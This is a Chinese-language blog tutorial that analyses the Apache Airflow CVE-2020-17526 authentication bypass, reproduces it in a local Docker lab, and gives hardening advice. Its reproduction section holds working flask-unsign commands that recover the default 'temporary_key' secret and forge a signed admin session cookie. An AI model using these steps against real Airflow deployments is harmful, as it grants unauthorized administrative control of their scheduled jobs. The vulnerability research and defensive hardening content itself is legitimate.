Apache Airflow CVE-2020-17526漏洞深度剖析:从会话伪造到安全加固

📅 2026/7/6 0:28:39 👁️ 阅读次数 📝 编程学习
Apache Airflow CVE-2020-17526漏洞深度剖析:从会话伪造到安全加固

1. 项目概述:一次对Apache Airflow身份验证机制的深度剖析

最近在复盘一些历史高危漏洞的成因与修复方案时,CVE-2020-17526这个Apache Airflow的身份验证绕过漏洞引起了我的注意。这不仅仅是一个简单的“绕过登录”问题,它深刻地暴露了在默认配置下,一个广泛使用的任务调度系统在安全设计上的脆弱性。简单来说,这个漏洞允许攻击者在无需任何有效凭证的情况下,通过伪造一个经过签名的会话Cookie,直接以管理员身份登录Airflow的Web管理后台。想象一下,如果有人能直接进入你家的“任务调度中心”,查看、修改甚至删除所有定时运行的敏感任务(比如数据备份、ETL流程、模型训练),后果不堪设想。这篇文章,我将从一个运维和安全研究者的双重角度,带你彻底拆解这个漏洞的来龙去脉,从环境搭建、漏洞原理分析、到完整的复现与修复,并分享一些在真实生产环境中加固Airflow的实战经验。无论你是Airflow的运维人员、开发者,还是对应用安全感兴趣的研究者,这篇深度解析都能让你对这个经典漏洞有超越复现脚本的深刻理解。

2. 漏洞原理深度解析:为什么默认配置是“纸老虎”

2.1 Airflow的会话管理与Flask框架的耦合

要理解CVE-2020-17526,首先得明白Apache Airflow的Web UI是如何构建的。Airflow的Web服务器组件(airflow webserver)是基于Python的Flask Web框架开发的。Flask是一个轻量级框架,它自身不提供复杂的用户会话(Session)管理,而是依赖客户端Cookie来存储会话状态,并通过密钥(Secret Key)对这些Cookie进行签名,以防止篡改。这就是Flask的Flask-Session或默认的securecookie机制。

在Airflow中,当用户成功登录后,服务器会在用户的浏览器中设置一个名为session的Cookie。这个Cookie的值并非明文,而是一个经过序列化(通常为JSON)、然后使用密钥签名后的字符串。服务器在后续请求中读取这个Cookie,验证其签名是否有效、是否被篡改,如果验证通过,则反序列化出里面的用户信息(如user_id),从而判断用户的身份和权限。

问题的核心就在这里:这个用于签名的密钥(SECRET_KEY)必须是强随机且保密的。如果攻击者知道了这个密钥,他就可以自己伪造一个包含任意user_id(比如管理员ID=1)的签名Cookie,让服务器“误以为”这是一个合法的登录会话。

2.2 脆弱的默认密钥与信息泄露

那么,攻击者如何得知这个密钥呢?CVE-2020-17526漏洞利用链的第一个环节,就是Airflow在特定版本范围内的默认且脆弱的密钥。在受影响的版本(Apache Airflow < 1.10.14)中,当用户没有在配置文件中显式设置webserver.secret_key时,Airflow会使用一个硬编码的、强度极低的字符串作为默认密钥。这个字符串就是temporary_key

注意temporary_key这个词本身就充满了警示意味——“临时的密钥”。在开发中,我们经常用这类占位符,但绝对不允许其进入生产环境。然而,由于部署疏忽或对安全配置不了解,很多Airflow实例在线上就运行在这个“临时”密钥之下,这无异于给大门上了一把所有人都知道密码的锁。

更糟糕的是,这个默认密钥是公开的。它写在Airflow的源代码里,任何下载了代码或通过其他方式了解到这一信息的人,都掌握了伪造会话的“万能钥匙”。这完全违背了密码学中“密钥保密”的基本原则。

2.3 完整的攻击链梳理

结合以上两点,攻击者的利用路径变得异常清晰:

  1. 信息收集:探测目标Airflow实例(通常开放8080端口),确认其版本在受影响范围内。
  2. 获取会话样本:通过访问登录页面(/admin/airflow/login),服务器会返回一个签名的会话Cookie,即使当前用户未登录。这个Cookie是使用当前服务器的密钥签名的。
  3. 密钥破解(或直接使用):由于默认密钥temporary_key强度极低且公开,攻击者可以直接使用它,或者用一个简单的字典(包含temporary_key等常见弱密钥)进行快速爆破。工具如flask-unsign可以在几秒钟内完成这项工作。
  4. 伪造管理员会话:使用破解出的密钥,伪造一个包含user_id:1(Airflow中第一个创建的用户通常是管理员)以及其他必要字段(如_fresh,_permanent,以及关键的csrf_token)的Cookie。
  5. 替换Cookie,完成绕过:在浏览器中替换掉原有的sessionCookie值为伪造的值,刷新页面。服务器验证签名通过,解析出user_id=1,遂将攻击者识别为管理员,从而完全绕过登录验证。

这个漏洞的危险性在于,它不依赖于任何复杂的业务逻辑缺陷,而是源于框架层面的不安全默认配置,使得攻击门槛极低。

3. 漏洞复现环境搭建与实操要点

纸上得来终觉浅,绝知此事要躬行。为了真正理解漏洞的细节和修复后的差异,搭建一个受漏洞影响的测试环境是必不可少的。我推荐使用Docker Compose,它能快速构建一个包含所有依赖的、隔离的Airflow环境。

3.1 使用Docker Compose快速搭建漏洞环境

首先,你需要准备一个docker-compose.yml文件。这里我使用一个稍作修改的、能指定漏洞版本(如1.10.13)的Compose文件。关键点在于指定Airflow的镜像标签。

version: '3' services: postgres: image: postgres:13 environment: POSTGRES_USER: airflow POSTGRES_PASSWORD: airflow POSTGRES_DB: airflow volumes: - postgres-db-volume:/var/lib/postgresql/data airflow-webserver: # 使用受漏洞影响的版本,例如 1.10.13 image: apache/airflow:1.10.13 restart: always depends_on: - postgres environment: AIRFLOW__CORE__EXECUTOR: LocalExecutor AIRFLOW__CORE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:airflow@postgres/airflow AIRFLOW__WEBSERVER__SECRET_KEY: temporary_key # 显式设置脆弱密钥,模拟默认情况 AIRFLOW__CORE__LOAD_EXAMPLES: 'true' volumes: - ./dags:/opt/airflow/dags - ./logs:/opt/airflow/logs - ./plugins:/opt/airflow/plugins ports: - "8080:8080" command: webserver healthcheck: test: ["CMD-SHELL", "[ -f /opt/airflow/airflow-webserver.pid ]"] interval: 30s timeout: 30s retries: 3 airflow-init: image: apache/airflow:1.10.13 depends_on: - postgres environment: AIRFLOW__CORE__EXECUTOR: LocalExecutor AIRFLOW__CORE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:airflow@postgres/airflow AIRFLOW__WEBSERVER__SECRET_KEY: temporary_key volumes: - ./dags:/opt/airflow/dags - ./logs:/opt/airflow/logs - ./plugins:/opt/airflow/plugins command: > bash -c " airflow db init && airflow users create --username admin --firstname Admin --lastname User --role Admin --email admin@example.com --password admin " volumes: postgres-db-volume:

关键配置解析

  • image: apache/airflow:1.10.13:明确指定一个低于1.10.14的漏洞版本。
  • AIRFLOW__WEBSERVER__SECRET_KEY: temporary_key:这是模拟漏洞环境的关键。即使在新版本中,如果你手动将其设置为弱密钥,漏洞条件依然成立。这里我们显式设置它,以重现漏洞。
  • airflow-init服务:用于初始化数据库并创建一个默认的管理员用户(用户名admin,密码admin)。注意,这个用户的id在数据库中通常就是1

3.2 环境启动与初始化步骤

  1. 保存配置文件:将上面的docker-compose.yml保存到本地一个空目录。
  2. 启动服务:在终端中,进入该目录,执行以下命令。注意,必须先初始化数据库。
    # 初始化数据库和用户 docker-compose run airflow-init # 看到初始化成功的提示后,启动所有服务 docker-compose up -d
  3. 验证服务:等待几十秒,然后访问http://localhost:8080。你应该能看到Airflow的登录界面,使用admin/admin可以正常登录。这说明环境已就绪。

实操心得:在运行docker-compose up -d后,如果访问8080端口失败,可以使用docker-compose logs airflow-webserver查看Web服务器的日志,常见问题是数据库连接失败或初始化未完成,耐心等待片刻即可。

4. 漏洞复现过程与核心环节实现

环境准备好后,我们开始模拟攻击者的步骤。你需要准备一个安装了Python和必要工具的环境(可以与Docker主机是同一台机器)。

4.1 第一步:获取原始的会话Cookie

即使未登录,访问登录页面时,Flask也会设置一个会话Cookie。我们使用curl命令来获取它,并关注Set-Cookie头部。

curl -v http://localhost:8080/admin/airflow/login 2>&1 | grep -i 'set-cookie'

输出会类似于:

< Set-Cookie: session=eyJjc3JmX3Rva2VuIjoiMzA1MjMzYzEwNDQ4ZDIxZGUwM2U3MjhiNDMx...(很长一串); HttpOnly; Path=/

这里session=后面的整个字符串(直到分号;之前)就是我们需要的签名Cookie值。我们将其复制出来,记为ORIGINAL_SESSION

4.2 第二步:破解签名密钥

这里我们使用flask-unsign工具。首先安装它:

pip install flask-unsign[wordlist] # 这个安装方式包含了常用单词列表

然后使用该工具对获取到的Cookie进行离线破解。其原理是使用一个密钥字典(wordlist)尝试对Cookie进行解码验证,直到找到能通过签名验证的密钥。

flask-unsign --unsign --cookie '$ORIGINAL_SESSION' --wordlist /usr/share/dict/words

在实际操作中,由于我们知道默认密钥是temporary_key,我们可以直接指定它,或者使用一个包含该密钥的小字典。更直接的方式是,因为密钥太弱且公开,我们可以“告诉”工具直接测试这个密钥:

echo -n "temporary_key" | flask-unsign --unsign --cookie '$ORIGINAL_SESSION' --no-literal-eval

或者使用--secret参数尝试验证:

flask-unsign --unsign --cookie '$ORIGINAL_SESSION' --secret 'temporary_key'

如果命令没有报错,或者明确提示找到了密钥temporary_key,那么就证实了漏洞的存在。

注意事项flask-unsign--unsign参数在某些版本中已改为--decode。如果遇到参数错误,请查阅工具的最新帮助文档。核心功能是解码和验证Cookie。

4.3 第三步:伪造管理员会话Cookie

密钥到手,我们就可以伪造Cookie了。我们需要构造一个包含管理员user_id的字典。首先,我们解码一下原始Cookie,看看里面有什么字段,这对于构造伪造Cookie很重要。

flask-unsign --decode --cookie '$ORIGINAL_SESSION'

输出可能类似:

{'_fresh': False, '_permanent': True, 'csrf_token': '305233c10448d21de03e728b4312a8b5f5e8c9c9', 'user_id': None}

注意,未登录时user_idNone。我们需要将其改为1,同时必须保留原有的csrf_token。很多复现失败就是因为遗漏了这个字段,导致后续表单提交时CSRF校验失败。

现在,使用密钥temporary_key来签名我们伪造的会话数据:

flask-unsign --sign --secret 'temporary_key' --cookie "{'_fresh': False, '_permanent': True, 'csrf_token': '305233c10448d21de03e728b4312a8b5f5e8c9c9', 'user_id': '1'}"

命令会输出一长串新的、经过签名的Cookie字符串,例如eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlLCJjc3JmX3Rva2VuIjoiMzA1MjMzYzEwNDQ4ZDIxZGUwM2U3MjhiNDMxMmE4YjVmNWU4YzljOSIsInVzZXJfaWQiOiIxIn0.Y_LfgQ.xxxxxx。这就是我们的“管理员门票”,将其记为FORGED_SESSION

4.4 第四步:在浏览器中替换Cookie完成绕过

这是最后一步,也是最直观的一步。

  1. 在浏览器中打开http://localhost:8080,打开开发者工具(F12)。
  2. 切换到Application(Chrome) 或Storage(Firefox) 标签页。
  3. 在左侧找到Cookies->http://localhost:8080
  4. 在右侧列表中找到名为session的Cookie。
  5. 双击其Value栏,删除旧值,粘贴上一步生成的FORGED_SESSION字符串,然后按回车。
  6. 刷新页面

如果一切顺利,你将发现页面没有跳转到登录页,而是直接进入了Airflow的DAGs列表主界面,并且右上角可能显示为“admin”用户。这意味着你已成功绕过身份验证,以管理员身份登录。

5. 漏洞修复方案与安全加固实践

复现漏洞是为了更好地修复和防御。Apache Airflow官方在1.10.14版本中修复了此漏洞。修复方案的核心是:强制要求用户显式配置一个安全的webserver.secret_key,如果未配置,则在启动时抛出错误,拒绝服务启动。

5.1 官方修复方案解读

让我们看看修复后的逻辑:

  1. 移除硬编码默认值:代码中不再存在temporary_key这个默认值。
  2. 启动时校验:在Web服务器启动时,检查配置项webserver.secret_key。如果其为空或仍然为temporary_key,则直接抛出一个严重的错误(AirflowConfigException),并给出明确的提示信息,要求管理员必须设置一个强密钥。
  3. 提供生成命令:官方文档和错误信息中会提示管理员使用airflow generate-secret-key命令来生成一个安全的随机密钥。

这个修复从根本上杜绝了使用弱默认密钥的可能性,将安全责任明确地交给了部署和维护系统的管理员。

5.2 生产环境安全加固指南

仅仅升级版本是不够的。根据我在多个生产环境部署Airflow的经验,以下是一套完整的安全加固 checklist:

1. 立即升级与密钥管理:

  • 将Apache Airflow升级到最新的稳定版本(远高于1.10.14)。
  • 必须使用airflow generate-secret-key生成一个强随机密钥(长度建议32字节以上)。
  • 将生成的密钥通过环境变量AIRFLOW__WEBSERVER__SECRET_KEY或配置文件airflow.cfg中的[webserver] secret_key项进行设置。
  • 切勿将密钥硬编码在代码或Dockerfile中,应使用K8s Secret、HashiCorp Vault等密钥管理服务。

2. 网络访问控制:

  • 绝不将Airflow的Web UI(8080端口)直接暴露在公网。应将其置于内网,通过VPN或堡垒机访问。
  • 如果必须提供外部访问,务必配置在反向代理(如Nginx)之后,并启用HTTPS、强制跳转HTTPS(HSTS)、设置严格的CSP策略等。
  • 在反向代理或防火墙层面,对/admin/airflow/login等管理端点进行IP白名单限制。

3. 会话安全增强:

  • 考虑配置AIRFLOW__WEBSERVER__SESSION_COOKIE_SECURE = True,确保Cookie仅通过HTTPS传输。
  • 配置AIRFLOW__WEBSERVER__SESSION_COOKIE_HTTPONLY = True(默认通常为True),防止JavaScript访问Cookie,缓解XSS攻击的影响。
  • 可以设置相对较短的会话过期时间。

4. 身份验证后端强化:

  • 避免使用简单的密码认证。集成更强大的身份提供商,如LDAP/AD、OAuth2(Google, GitHub)、SAML或OpenID Connect。
  • 启用多因素认证(MFA),这能极大增加凭证被盗用的难度。
  • 定期审计和轮换用户密码。

5. 持续监控与审计:

  • 开启Airflow的审计日志,监控所有用户登录、DAG修改、任务触发等敏感操作。
  • 使用日志聚合系统(如ELK Stack)对异常登录行为(如短时间内大量失败尝试、非常用IP登录成功)设置告警。
  • 定期进行安全扫描和漏洞评估,不仅仅是Airflow本身,还包括其依赖的组件(如PostgreSQL, Redis)。

6. 常见问题与排查技巧实录

在复现、修复和加固的过程中,我踩过不少坑,也总结了一些常见问题和解决思路。

问题1:使用flask-unsign爆破密钥时,速度非常慢,或者一直失败。

  • 排查思路
    • 确认Cookie值正确:确保从Set-Cookie头部提取的session值完整,没有多余的空格或引号。
    • 检查工具版本:确保安装的flask-unsign是最新版本。旧版本可能存在兼容性问题。
    • 使用针对性的字典:不要一开始就用巨大的通用字典。先尝试已知的弱密钥列表,比如['temporary_key', 'secret', 'airflow', 'changeme']。可以创建一个文本文件weak_keys.txt,每行一个密钥,然后使用--wordlist weak_keys.txt
    • 直接验证已知密钥:如果你高度怀疑是默认密钥,直接用--secret 'temporary_key'参数验证,而不是爆破。

问题2:伪造Cookie并替换后,刷新页面仍然跳回登录页,或者提示CSRF验证失败。

  • 原因与解决
    • 遗漏了csrf_token字段:这是最常见的原因。必须在伪造的会话字典中包含从原始Cookie中解码出的csrf_token值。参考4.3节的操作。
    • user_id格式错误:确保user_id的值是字符串格式,即'1',而不是数字1。Flask会话序列化时可能统一处理为字符串。
    • 会话字段不完整:除了user_idcsrf_token_fresh_permanent这两个字段也最好保留,并与原始Cookie中的值保持一致(通常是FalseTrue)。
    • 浏览器缓存:尝试使用浏览器的无痕模式进行操作,避免旧Cookie或缓存干扰。替换Cookie后,彻底关闭并重新打开浏览器标签页有时也有效。

问题3:升级Airflow后,服务启动失败,报错“The secret_key has to be configured”或类似信息。

  • 解决步骤
    1. 这是预期的安全行为,说明修复已生效。
    2. 运行airflow generate-secret-key生成一个新的强密钥。
    3. 将生成的密钥配置到环境变量AIRFLOW__WEBSERVER__SECRET_KEY中,或者写入airflow.cfg[webserver]部分。
    4. 重启Airflow Web服务器。

问题4:在Docker或Kubernetes环境中,如何安全地管理这个密钥?

  • 最佳实践
    • Docker Compose:在docker-compose.yml中,通过environment部分引用一个.env文件中的变量,而.env文件不被纳入版本控制。
    • Kubernetes:使用Secret资源对象存储密钥,然后在Deployment的Pod模板中,通过env.valueFrom.secretKeyRef将其作为环境变量注入到容器中。
    • 核心原则:密钥与镜像分离,通过外部配置注入,并且有严格的访问权限控制。

回顾整个CVE-2020-17526漏洞,它给我们上了一堂深刻的安全课:默认配置的安全性至关重要。框架和工具的开发者有责任提供安全的默认值,而作为使用者的我们,则必须摒弃“开箱即用”直接上生产的心态。对于任何涉及身份验证、会话管理的系统,密钥管理永远是安全链条上最基础也最脆弱的一环。在部署像Airflow这样的核心调度系统时,务必将其纳入整个基础设施的安全生命周期中,从网络隔离、访问控制、密钥管理、到持续监控,进行全链路的防护。把这个漏洞的复现过程走一遍,最大的收获不是学会了一个攻击技巧,而是让你在日后配置任何服务时,都会下意识地去检查:“它的密钥,够强吗?保管好了吗?”